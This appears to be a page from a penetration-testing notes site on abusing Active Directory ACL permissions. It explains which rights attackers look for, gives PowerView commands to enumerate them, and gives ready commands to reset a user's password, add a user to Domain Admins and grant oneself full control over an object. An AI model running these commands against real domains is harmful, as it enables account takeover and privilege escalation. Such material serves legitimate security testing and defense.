> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/post-exploit/active-directory/acls-aces.md).

# ACLs/ACEs

Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).

Some of the Active Directory object permissions and types that we as attackers are interested in:

* **GenericAll** - full rights to the object (add users to a group or reset user's password)
* **GenericWrite** - update object's attributes (i.e logon script)
* **WriteOwner** - change object owner to attacker controlled user take over the object
* **WriteDACL** - modify object's ACEs and give attacker full control right over the object
* **AllExtendedRights** - ability to add user to a group or reset password
* **ForceChangePassword** - ability to change user's password
* **Self (Self-Membership)** - ability to add yourself to a group

## Enumerate with powerview

```powershell
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}  

Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")){$_}}

Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")){$_}}
```

<figure><img src="https://1855963211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FaDjlLLsWaat1v8p89kgM%2Fuploads%2FnEVb8g80vWnNfn0mhgWQ%2Fimage.png?alt=media&amp;token=9b700974-e589-41a7-b9a6-221d032aba9d" alt=""><figcaption><p>reference <a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces">https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces</a></p></figcaption></figure>

The picture above is the example of enumerating ACLs in the Active Directory, here is the explaination:

1. Object (User) target.
2. The user that have access to that object
3. The access tipe is "GenericAll" mean to excessive.

## GenericAll

### **Exploit with reset password**

**(GenericAll, ForceChangePassword, AllExtendedRight)**

```powershell
# user (force change password)
net user <username> <password> /domain
```

### Add user to Group

**(GenericAll, GenericWrite)**

```
# group --> domain admin (force add member to domain admin)
net group "domain admins" <username> /add /domain
```

## WriteDACL

```powershell
# force apply generic all to the target username for current user
Add-DomainObjectAcl -TargetIdentity <target username> -PrincipalIdentity <current user> -Rights All
```

Reference:

<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#execution>